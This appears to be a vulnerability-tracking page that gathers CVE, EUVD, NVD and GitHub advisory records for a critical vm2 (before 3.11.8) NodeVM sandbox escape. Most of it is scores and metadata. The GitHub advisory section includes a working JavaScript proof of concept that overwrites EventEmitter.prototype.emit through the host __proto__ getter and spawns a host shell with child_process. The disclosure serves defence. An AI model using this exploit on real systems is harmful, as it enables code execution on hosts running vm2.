vm2 before 3.11.8 Sandbox Escape via NodeVM

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.

Source published

17 Sep 2026 13:46:13 UTC

Source modified

17 Sep 2026 14:23:35 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 10.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.

Source published

Sep 17, 2026, 1:46:13 PM (timezone not stated)

Source modified

Sep 17, 2026, 2:23:35 PM (timezone not stated)

Observed here

11 Nov 2026 17:05:19 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 10.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.

Source published

17 Sep 2026 14:18:01 UTC

Source modified

17 Sep 2026 15:17:01 UTC

Observed here

25 Oct 2026 16:19:28 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 10.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

## Summary It being possible to obtain the host `__proto__` getter/setter, has been used in many reports: - https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq - https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg - https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p - https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6 Yet it was never patched... --- This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default) ## Details The prototype chain for `console._stdout`/`console._stderr` is: ``` _stdout / _stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter ``` `process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype` By overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`. This also bypasses `--disallow-code-generation-from-strings`, which blocks the "usual" escape of obtaining the host function constructor. ## PoC ```js const { NodeVM } = require("vm2"); code = ` const gP = Buffer.call.call(__lookupGetter__,67,'__proto__'); // vm __proto__ getter console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {} // host __proto__ getter console.log(gP.call(console._stderr)); // Socket { [...] } let p = console._stdout; while (p.pipe) { console.log(p.constructor.name); p = gP.call(p); }; p.emit = function(){ console.log(this+[]); this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"}) } `; const vm = new NodeVM(); vm.run(code); ```

Source published

5 Oct 2026 22:47:09 UTC

Source modified

5 Oct 2026 23:00:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Publisher rating · CRITICAL

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-88hf-g992-jg85. This link is maintained to preserve external references. ## Original Description vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.

Source published

17 Sep 2026 15:32:16 UTC

Source modified

5 Oct 2026 23:00:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Publisher rating · CRITICAL